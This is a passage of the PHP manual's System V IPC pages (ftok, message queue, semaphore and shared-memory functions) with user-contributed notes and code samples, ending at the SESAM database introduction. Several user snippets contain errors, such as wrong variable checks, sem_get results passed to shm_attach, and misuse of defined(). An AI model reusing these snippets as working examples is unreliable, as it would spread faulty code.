       echo "Fail to attach shared memory.\n";
       sem_remove($sem_id);
       exit;
   }
   else
       echo "Success to attach shared memory : $shm_id.\n";

   // Write variable 1
   if (!shm_put_var($shm_id, 1, "Variable 1"))
   {
       echo "Fail to put var 1 on shared memory $shm_id.\n";
       sem_remove($sem_id);
       shm_remove ($shm_id);
       exit;
   }
   else
       echo "Write var1 to shared memory.\n";

   // Write variable 2
   if (!shm_put_var($shm_id, 2, "Variable 2"))
   {
       echo "Fail to put var 2 on shared memory $shm_id.\n";
       sem_remove($sem_id);
       shm_remove ($shm_id);
       exit;
   }
   else
       echo "Write var2 to shared memory.\n";

   // Read variable 1
   $var1  =  shm_get_var ($shm_id, 1);
   if ($var1 === false)
   {
       echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
   }
   else
       echo "Read var1=$var1.\n";

   // Read variable 1
   $var2  =  shm_get_var ($shm_id, 2);
   if ($var1 === false)
   {
       echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
   }
   else
       echo "Read var2=$var2.\n";

   // Release semaphore
   if (!sem_release($sem_id))
       echo "Fail to release $sem_id semaphore.\n";
   else
       echo "Semaphore $sem_id released.\n";

   // remove shared memory segmant from SysV
   if (shm_remove ($shm_id))
       echo "Shared memory successfully removed from SysV.\n";
   else
       echo "Fail to remove $shm_id shared memory from SysV.\n";

   // Remove semaphore
   if (sem_remove($sem_id))
       echo "semaphore removed successfully from SysV.\n";
   else
       echo "Fail to remove $sem_id semaphore from SysV.\n";
   echo "End.\n";
mikew at php dot net
01-Jun-2001 12:46
As for security,  please look at the perm argument to shm_get.  Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.  As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de
21-Sep-2000 02:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.
add a note add a note

后退 | 起点 | 前进
ssh2_tunnel | 上一级 | ftok


ftok

(PHP 4 >= 4.2.0, PHP 5)

ftok -- Convert a pathname and a project identifier to a System V IPC key

Description

int ftok ( string pathname, string proj )

The function converts the pathname of an existing accessible file and a project identifier (proj) into a integer for use with for example shmop_open() and other System V IPC keys. The proj parameter should be a one character string.

On success the return value will be the created key value, otherwise -1 is returned.

See also shmop_open() and sem_get().

add a note add a note User Contributed Notes
mbowie at buzmo dot com
21-Oct-2004 05:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com
17-Jun-2004 04:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de
27-May-2004 10:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
   function ftok($filename = "", $proj = "")
   {
       if( empty($filename) || !file_exists($filename) )
       {
           return -1;
       }
       else
       {
           $filename = $filename . (string) $proj;
           for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
           return dechex(array_sum($key));
       }
   }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org
03-May-2004 09:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net
25-Apr-2004 12:43
This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).
add a note add a note

后退 | 起点 | 前进
Semaphore, Shared Memory and IPC Functions | 上一级 | msg_get_queue


msg_get_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_get_queue -- Create or attach to a message queue

Description

resource msg_get_queue ( int key [, int perms] )

msg_get_queue() returns an id that can be used to access the System V message queue with the given key. The first call creates the message queue with the optional perms (default: 0666). A second call to msg_get_queue() for the same key will return a different message queue identifier, but both identifiers access the same underlying message queue. If the message queue already exists, the perms will be ignored.

See also msg_remove_queue(),
msg_receive(), msg_send(),
msg_stat_queue() and
msg_set_queue().

add a note add a note User Contributed Notes
zxd at zhangxiaodong dot net
16-Dec-2004 01:55
#
# require --enable-sysvmsg configure option
#
# see phpinfo() to find how to check
#
joeldg AT listbid.com
03-May-2003 03:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

   // place two messages on the queue
   if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
   if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

   // lets look at the queue structure 'msg_qnum' is really what we want to see
   // it should be '2'
   print_r(msg_stat_queue($key_t));

   // pull off the stack
       if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
       } else {
           echo "Received $msg_error fetching message\n";
       }
   // look at the structure again, ms_qnum should be '1'
   print_r(msg_stat_queue($key_t));
       if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
       } else {
           echo "Received $msg_error fetching message\n";
       }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);
add a note add a note

后退 | 起点 | 前进
ftok | 上一级 | msg_receive


msg_receive

(PHP 4 >= 4.3.0, PHP 5)

msg_receive -- Receive a message from a message queue

Description

bool msg_receive ( resource queue, int desiredmsgtype, int &msgtype, int maxsize, mixed &message [, bool unserialize [, int flags [, int &errorcode]]] )

msg_receive() will receive the first message from the specified queue of the type specified by desiredmsgtype. The type of the message that was received will be stored in msgtype. The maximum size of message to be accepted is specified by the maxsize; if the message in the queue is larger than this size the function will fail (unless you set flags as described below). The received message will be stored in message, unless there were errors receiving the message, in which case the optional errorcode will be set to the value of the system errno variable to help you identify the cause.

If desiredmsgtype is 0, the message from the front of the queue is returned. If desiredmsgtype is greater than 0, then the first message of that type is returned. If desiredmsgtype is less than 0, the first message on the queue with the lowest type less than or equal to the absolute value of desiredmsgtype will be read. If no messages match the criteria, your script will wait until a suitable message arrives on the queue. You can prevent the script from blocking by specifying MSG_IPC_NOWAIT in the flags parameter.

unserialize defaults to TRUE; if it is set to TRUE, the message is treated as though it was serialized using the same mechanism as the session module. The message will be unserialized and then returned to your script. This allows you to easily receive arrays or complex object structures from other PHP scripts, or if you are using the WDDX serializer, from any WDDX compatible source. If unserialize is FALSE, the message will be returned as a binary-safe string.

The optional flags allows you to pass flags to the low-level msgrcv system call. It defaults to 0, but you may specify one or more of the following values (by adding or ORing them together).

表格 1. Flag values for msg_receive

MSG_IPC_NOWAIT | If there are no messages of the desiredmsgtype, return immediately and do not wait. The function will fail and return an integer value corresponding to ENOMSG.
MSG_EXCEPT | Using this flag in combination with a desiredmsgtype greater than 0 will cause the function to receive the first message that is not equal to desiredmsgtype.
MSG_NOERROR | If the message is longer than maxsize, setting this flag will truncate the message to maxsize and will not signal an error.

Upon successful completion the message queue data structure is updated as follows: msg_lrpid is set to the process-ID of the calling process, msg_qnum is decremented by 1 and msg_rtime is set to the current time.

msg_receive() returns TRUE on success or FALSE on failure. If the function fails, the optional errorcode will be set to the value of the system errno variable.

See also msg_remove_queue(),
msg_send(),
msg_stat_queue() and
msg_set_queue().

add a note add a note User Contributed Notes
webmaster at toolshed51 dot com
10-Apr-2003 06:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
   $MSGKEY = 519051; // Message

   $msg_id = msg_get_queue ($MSGKEY, 0600);

   while (1) {
       if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit') break;
           echo "$msg\n";
       } else {
           echo "Received $msg_error fetching message\n";
           break;
       }
   }

   msg_remove_queue ($msg_id);
?>
add a note add a note

后退 | 起点 | 前进
msg_get_queue | 上一级 | msg_remove_queue


msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_remove_queue -- Destroy a message queue

Description

bool msg_remove_queue ( resource queue )

msg_remove_queue() destroys the message queue specified by the queue. Only use this function when all processes have finished working with the message queue and you need to release the system resources held by it.

See also msg_get_queue(),
msg_receive(),
msg_stat_queue() and
msg_set_queue().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msg_receive | 上一级 | msg_send


msg_send

(PHP 4 >= 4.3.0, PHP 5)

msg_send -- Send a message to a message queue

Description

bool msg_send ( resource queue, int msgtype, mixed message [, bool serialize [, bool blocking [, int &errorcode]]] )

msg_send() sends a message of type msgtype (which MUST be greater than 0) to the message queue specified by queue.

If the message is too large to fit in the queue, your script will wait until another process reads messages from the queue and frees enough space for your message to be sent. This is called blocking; you can prevent blocking by setting the optional blocking parameter to FALSE, in which case msg_send() will immediately return FALSE if the message is too big for the queue, and set the optional errorcode to EAGAIN, indicating that you should try to send your message again a little later on.

The optional serialize controls how the message is sent. serialize defaults to TRUE which means that the message is serialized using the same mechanism as the session module before being sent to the queue. This allows complex arrays and objects to be sent to other PHP scripts, or if you are using the WDDX serializer, to any WDDX compatible client.

Upon successful completion the message queue data structure is updated as follows: msg_lspid is set to the process-ID of the calling process, msg_qnum is incremented by 1 and msg_stime is set to the current time.

See also msg_remove_queue(),
msg_receive(),
msg_stat_queue() and
msg_set_queue().

add a note add a note User Contributed Notes
webmaster at toolshed51 dot com
10-Apr-2003 06:51
Sample sending webpage, see msg_receive for matching service

<?php
   $MSGKEY = 519051;

   $msg_id = msg_get_queue ($MSGKEY, 0600);

   if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
?>
add a note add a note

后退 | 起点 | 前进
msg_remove_queue | 上一级 | msg_set_queue


msg_set_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_set_queue -- Set information in the message queue data structure

Description

bool msg_set_queue ( resource queue, array data )

msg_set_queue() allows you to change the values of the msg_perm.uid, msg_perm.gid, msg_perm.mode and msg_qbytes fields of the underlying message queue data structure. You specify the values you require by setting the value of the keys that you require in the data array.

Changing the data structure will require that PHP be running as the same user that created the queue, owns the queue (as determined by the existing msg_perm.xxx fields), or be running with root privileges. root privileges are required to raise the msg_qbytes values above the system defined limit.

See also msg_remove_queue(),
msg_receive(),
msg_stat_queue() and
msg_get_queue().

add a note add a note User Contributed Notes
webmaster at toolshed51 dot com
17-May-2003 06:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue
add a note add a note

后退 | 起点 | 前进
msg_send | 上一级 | msg_stat_queue


msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_stat_queue -- Returns information from the message queue data structure

Description

array msg_stat_queue ( resource queue )

msg_stat_queue() returns the message queue meta data for the message queue specified by the queue. This is useful, for example, to determine which process sent the message that was just received.

The return value is an array whose keys and values have the following meanings:

表格 1. Array structure for msg_stat_queue

msg_perm.uid | The uid of the owner of the queue.
msg_perm.gid | The gid of the owner of the queue.
msg_perm.mode | The file access mode of the queue.
msg_stime | The time that the last message was sent to the queue.
msg_rtime | The time that the last message was received from the queue.
msg_ctime | The time that the queue was last changed.
msg_qnum | The number of messages waiting to be read from the queue.
msg_qbytes | The number of bytes of space currently available in the queue to hold sent messages until they are received.
msg_lspid | The pid of the process that sent the last message to the queue.
msg_lrpid | The pid of the process that received the last message from the queue.

See also msg_remove_queue(),
msg_receive(),
msg_get_queue() and
msg_set_queue().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
msg_set_queue | 上一级 | sem_acquire


sem_acquire

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

sem_acquire -- Acquire a semaphore

Description

bool sem_acquire ( resource sem_identifier )

sem_acquire() blocks (if necessary) until the semaphore can be acquired. A process attempting to acquire a semaphore which it has already acquired will block forever if acquiring the semaphore would cause its maximum number of semaphore to be exceeded. sem_identifier is a semaphore ressource, obtained from sem_get().

如果成功则返回 TRUE，失败则返回 FALSE。

After processing a request, any semaphores acquired by the process but not explicitly released will be released automatically and a warning will be generated.

See also sem_get(), and sem_release().

add a note add a note User Contributed Notes
gladd at trash dot eris dot qinetiq dot com
14-Apr-2004 05:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!
24-Jun-2003 07:58
there is no way to use IPC_NOWAIT flag.
add a note add a note

后退 | 起点 | 前进
msg_stat_queue | 上一级 | sem_get


sem_get

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

sem_get -- Get a semaphore id

Description

resource sem_get ( int key [, int max_acquire [, int perm [, int auto_release]]] )

sem_get() returns an id that can be used to access the System V semaphore with the given key. The semaphore is created if necessary using the permission bits specified in perm (defaults to 0666). The number of processes that can acquire the semaphore simultaneously is set to max_acquire (defaults to 1). Actually this value is set only if the process finds it is the only process currently attached to the semaphore.

Optional parameter auto_release specifies if the semaphore should be automatically released on request shutdown. It is available since PHP 4.3.0.

Returns a positive semaphore identifier on success, or FALSE on error.

A second call to sem_get() for the same key will return a different semaphore identifier, but both identifiers access the same underlying semaphore.

See also sem_acquire(), sem_release(), and ftok().

add a note add a note User Contributed Notes
joeldg AT listbid.com
03-May-2003 02:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com
02-May-2003 03:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>
add a note add a note

后退 | 起点 | 前进
sem_acquire | 上一级 | sem_release


sem_release

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

sem_release -- Release a semaphore

Description

bool sem_release ( resource sem_identifier )

sem_release() releases the semaphore if it is currently acquired by the calling process, otherwise a warning is generated.

如果成功则返回 TRUE，失败则返回 FALSE。

After releasing the semaphore, sem_acquire() may be called to re-acquire it.

See also sem_get() and sem_acquire().

add a note add a note User Contributed Notes
danno at circumsolutions dot com
02-Apr-2001 05:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com
09-Dec-1999 12:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.
add a note add a note

后退 | 起点 | 前进
sem_get | 上一级 | sem_remove


sem_remove

(PHP 4 >= 4.1.0, PHP 5)

sem_remove -- Remove a semaphore

Description

bool sem_remove ( resource sem_identifier )

sem_remove() removes the semaphore sem_identifier if it has been created by sem_get(), otherwise generates a warning.

如果成功则返回 TRUE，失败则返回 FALSE。

After removing the semaphore, it is no more accessible.

See also sem_get(),
sem_release() and
sem_acquire().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sem_release | 上一级 | shm_attach


shm_attach

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_attach -- Creates or open a shared memory segment

Description

int shm_attach ( int key [, int memsize [, int perm]] )

shm_attach() returns an id that can be used to access the System V shared memory with the given key, the first call creates the shared memory segment with memsize (default: sysvshm.init_mem in the php.ini, otherwise 10000 bytes) and the optional perm-bits perm (default: 0666).

A second call to shm_attach() for the same key will return a different shared memory identifier, but both identifiers access the same underlying shared memory. Memsize and perm will be ignored.

See also ftok(), and shm_detach().

add a note add a note User Contributed Notes
muytoloco at yahoo dot com dot br
24-Feb-2006 01:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy
28-Mar-2005 08:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net
25-Apr-2004 12:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
     if (shm_size < sizeof(sysvshm_chunk_head)) {
           php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
           efree(shm_list_ptr);
           RETURN_FALSE;
     }
     if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
           php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil
18-Mar-2004 04:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de
19-Jan-2002 12:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de
22-Mar-2001 04:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com
25-Jan-2001 08:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com
11-Sep-1999 04:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net
25-Mar-1999 09:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com
13-Feb-1999 11:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).
add a note add a note

后退 | 起点 | 前进
sem_remove | 上一级 | shm_detach


shm_detach

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_detach -- Disconnects from shared memory segment

Description

bool shm_detach ( int shm_identifier )

shm_detach() disconnects from the shared memory given by the shm_identifier created by shm_attach(). Remember, that shared memory still exist in the Unix system and the data is still present.

shm_detach() always returns TRUE.

See also shm_attach(), shm_remove(), and shm_remove_var().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
shm_attach | 上一级 | shm_get_var


shm_get_var

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_get_var -- Returns a variable from shared memory

Description

mixed shm_get_var ( int shm_identifier, int variable_key )

shm_get_var() returns the variable with a given variable_key, in the shared memory segment identified by shm_identifier. shm_identifier was obtained from shm_attach(). The variable is still present in the shared memory.

add a note add a note User Contributed Notes
JM
15-May-2005 06:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 05:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant
18-Feb-2005 04:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
chris at free-source dot com
06-Dec-2004 06:47
if the variable_key asked for does not exist php generates a warning and shm_get_var() will return bool(false).  there doesn't seem to be a clean way to test if a key exists.
add a note add a note

后退 | 起点 | 前进
shm_detach | 上一级 | shm_put_var


shm_put_var

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_put_var -- Inserts or updates a variable in shared memory

Description

bool shm_put_var ( int shm_identifier, int variable_key, mixed variable )

shm_put_var() inserts or updates the variable with the given variable_key. All variable-types are supported.

如果成功则返回 TRUE，失败则返回 FALSE。

Warnings (E_WARNING level) will be issued if shm_identifier is not a valid SysV shared memory index or if there was not enough shared memory remaining to complete your request.

add a note add a note User Contributed Notes
tomlove at gmail dot com
01-Oct-2004 07:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.
add a note add a note

后退 | 起点 | 前进
shm_get_var | 上一级 | shm_remove_var


shm_remove_var

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_remove_var -- Removes a variable from shared memory

Description

bool shm_remove_var ( int shm_identifier, int variable_key )

Removes a variable with a given variable_key and frees the occupied memory.

See also shm_remove().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
shm_put_var | 上一级 | shm_remove


shm_remove

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

shm_remove -- Removes shared memory from Unix systems

Description

bool shm_remove ( int shm_identifier )

shm_remove() removes the shared memory shm_identifier. All data will be destroyed.

See also shm_remove_var().

add a note add a note User Contributed Notes
gavin at linuxworld dot com dot au
14-Aug-2001 09:30
I have since fixed this to work in accordance with the current documentation.
cu at ulakbim dot gov dot tr
30-Dec-1999 12:30
Though it says **shm_identifier** in
<PRE>
  int shm_remove(int shm_identifier);
</PRE>
and
<PRE>
  shm_attach() returns an **id** that that can be used to access the System V...
</PRE>
a snippet like this:
<PRE>
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
</PRE>
produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...
The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
<PRE>
  shm_remove($key);
</PRE>
which is what is intended indeed.
add a note add a note

后退 | 起点 | 前进
shm_remove_var | 上一级 | SESAM Database Functions


SESAM Database Functions

PHP 手册
后退 前进

CXXX. SESAM Database Functions

简介

SESAM/SQL-Server is a mainframe database system, developed by Fujitsu Siemens Computers, Germany. It runs on high-end mainframe servers using the operating system BS2000/OSD.

In numerous productive BS2000 installations, SESAM/SQL-Server has proven

  • the ease of use of Java-, Web- and client/server connectivity,

  • the capability to work with an availability of more than 99.99%,

  • the ability to manage tens and even hundreds of thousands of users.

There is a PHP 3 SESAM interface available which allows database operations via PHP-scripts.

注: Access to SESAM is only available with the latest CVS-Version of PHP 3. PHP 4 does not support the SESAM database.

运行时配置

这些函数的行为受 php.ini 的影响。

sesam_oml string

Name of BS2000 PLAM library containing the loadable SESAM driver modules. Required for using SESAM functions. The BS2000 PLAM library must be set ACCESS=READ,SHARE=YES because it must be readable by the apache server's user id.

sesam_configfile string

Name of SESAM application configuration file. Required for using SESAM functions. The BS2000 file must be readable by the apache server's user id.

The application configuration file will usually contain a configuration like (see SESAM reference manual):

CNF=B
NAM=K
NOTYPE

sesam_messagecatalog string

Name of SESAM message catalog file. In most cases, this directive is not necessary. Only if the SESAM message file is not installed in the system's BS2000 message file table, it can be set with this directive.

The message catalog must be set ACCESS=READ,SHARE=YES because it must be readable by the apache server's user id.

Configuration notes

There is no standalone support for the PHP SESAM interface, it works only as an integrated Apache module. In the Apache PHP module, this SESAM interface is configured using Apache directives.

表格 1. SESAM Configuration directives

Directive Meaning
php3_sesam_oml Name of BS2000 PLAM library containing the loadable SESAM driver modules. Required for using SESAM functions.

Example:

php3_sesam_oml $.SYSLNK.SESAM-SQL.030

php3_sesam_configfile Name of SESAM application configuration file. Required for using SESAM functions.

Example:

php3_sesam_configfile $SESAM.SESAM.CONF.AW

It will usually contain a configuration like (see SESAM reference manual):

CNF=B
NAM=K
NOTYPE

php3_sesam_messagecatalog Name of SESAM message catalog file. In most cases, this directive is not necessary. Only if the SESAM message file is not installed in the system's BS2000 message file table, it can be set with this directive.

Example:

php3_sesam_messagecatalog $.SYSMES.SESAM-SQL.030

